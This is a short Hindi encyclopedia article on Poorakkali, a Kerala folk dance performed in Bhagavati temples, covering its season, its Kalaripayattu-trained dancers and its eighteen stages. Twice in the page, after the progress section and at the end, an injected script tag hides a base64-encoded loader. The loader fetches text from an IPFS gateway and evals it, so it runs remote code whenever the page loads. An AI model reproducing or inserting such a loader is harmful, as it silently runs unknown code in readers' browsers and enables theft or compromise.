पूराकल्ली

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

पूराकल्ली केरल में प्रचलित लोक नृत्य है। मालाबार के थियास के बीच प्रचलित यह लोक नृत्य आमतौर पर मीनम (मार्च-अप्रैल) के महीने में रीति-रिवाजों के अनुसार भगवती मंदिरों में किया जाता है।

  • पूराकल्ली के लिए विशेष तौर पर प्रशिक्षित और अनुभवी नर्तकियों की आवश्यकता होती है, जो सभी तकनीकों के साथ कलारिपयात्तु, केरल में व्यायाम की प्रचलित प्रणाली, का करतब जानती हों।
  • पारंपरिक दीप के सामने खड़े होकर कलाकार अठारह विभिन्न चरणों मे लयबद्ध प्रदर्शन करते हैं। इसमें प्रत्येक चरण को 'निरम' कहा जाता है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>